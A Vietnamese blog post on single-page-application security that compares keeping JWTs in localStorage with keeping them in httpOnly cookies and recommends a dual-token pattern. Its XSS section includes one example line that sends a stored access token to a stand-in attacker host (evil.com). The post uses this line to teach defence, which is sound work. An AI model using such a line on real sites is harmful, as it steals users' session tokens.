Bảo mật Single Page Application (SPA): Lưu JWT trong httpOnly Cookie vs localStorage
Cuộc tranh luận không hồi kết: Nên cất Token ở đâu? Hầu hết các hướng dẫn lập trình web sơ cấp đều chỉ cho bạn cách: Họ không nói cho bạn biết rằng: Bất kỳ mã JavaScript nào chạy trên trang bao gồm c…
☰ Mục lục bài viết (5 phần) Mở / Đóng mục lục
Cuộc tranh luận không hồi kết: Nên cất Token ở đâu?#
Hầu hết các hướng dẫn lập trình web sơ cấp đều chỉ cho bạn cách:
// SAI LẦM BẢO MẬT PHỔ BIẾN:
localStorage.setItem('accessToken', token);
Họ không nói cho bạn biết rằng: Bất kỳ mã JavaScript nào chạy trên trang (bao gồm cả thư viện npm bên thứ ba, script phân tích của Google Analytics, hoặc mã độc chèn qua lỗ hổng XSS) đều có thể đọc sạch sẽ localStorage và gửi Token về máy chủ của hacker!
1. Lưu trong localStorage: Rủi ro XSS chết người#
- Lỗ hổng: Hoàn toàn không thể tự bảo vệ trước tấn công Cross-Site Scripting (XSS).
- Hacker làm gì:
fetch('https://evil.com/steal?token=' + localStorage.getItem('accessToken')).
2. Lưu trong httpOnly Cookie: Miễn nhiễm với XSS#
Khi bạn cấu hình Cookie từ backend với các cờ:
Set-Cookie: refreshToken=xxxxxx; HttpOnly; Secure; SameSite=Strict; Path=/api/auth/refresh
- HttpOnly: Trình duyệt cấm hoàn toàn mã JavaScript (kể cả
document.cookie) truy cập vào giá trị cookie này. Kẻ tấn công có khai thác được XSS cũng không thể đánh cắp token! - SameSite=Strict: Ngăn chặn triệt để tấn công Cross-Site Request Forgery (CSRF).
Kiến trúc bảo mật tiêu chuẩn (Dual Token Pattern)#
- Access Token (Ngắn hạn - 15 phút): Lưu trữ trong Bộ nhớ RAM của ứng dụng (In-Memory) hoặc biến state. Khi người dùng F5 tải lại trang, token này sẽ mất.
- Refresh Token (Dài hạn - 7 ngày): Lưu trữ trong httpOnly Secure Cookie.
- Mỗi khi Access Token hết hạn hoặc khi vừa F5 trang, ứng dụng tự động gọi endpoint ngầm
/api/auth/refreshđể xin cấp lại Access Token mới.
Góc thảo luận#
Hệ thống xác thực của bạn đang lưu token ở đâu? Bạn có đang bật chính sách Content Security Policy (CSP) để chặn XSS không?
Xem thêm nội dung liên quan:
Thảo luận
1 phản hồi
Tham gia thảo luận
Bài liên quan trong #Backend & Microservices
-
Áp dụng Model Context Protocol (MCP) của Anthropic để kết nối AI với Postgres và Docker
Hoàng Nam (Tech Lead) · 💬 1 -
So sánh mô hình Embedding đa ngữ: OpenAI text-embedding-3 vs BGE-M3 vs Cohere
Minh Trí (AI Engineer) · 💬 1 -
Xây dựng Voice AI Agent thời gian thực với WebRTC và Whisper Live: Độ trễ dưới 500ms
Lan Anh (Senior Frontend) · 💬 1 -
Cấu hình Rate Limiting ở tầng Nginx và API Gateway: Chống DDOS Layer 7 hiệu quả
Đức Huy (DevOps Specialist) · 💬 1 -
Tokenization tiếng Việt của các LLM: Tại sao chi phí tiếng Việt đắt gấp 3 lần tiếng Anh?
Minh Trí (AI Engineer) · 💬 1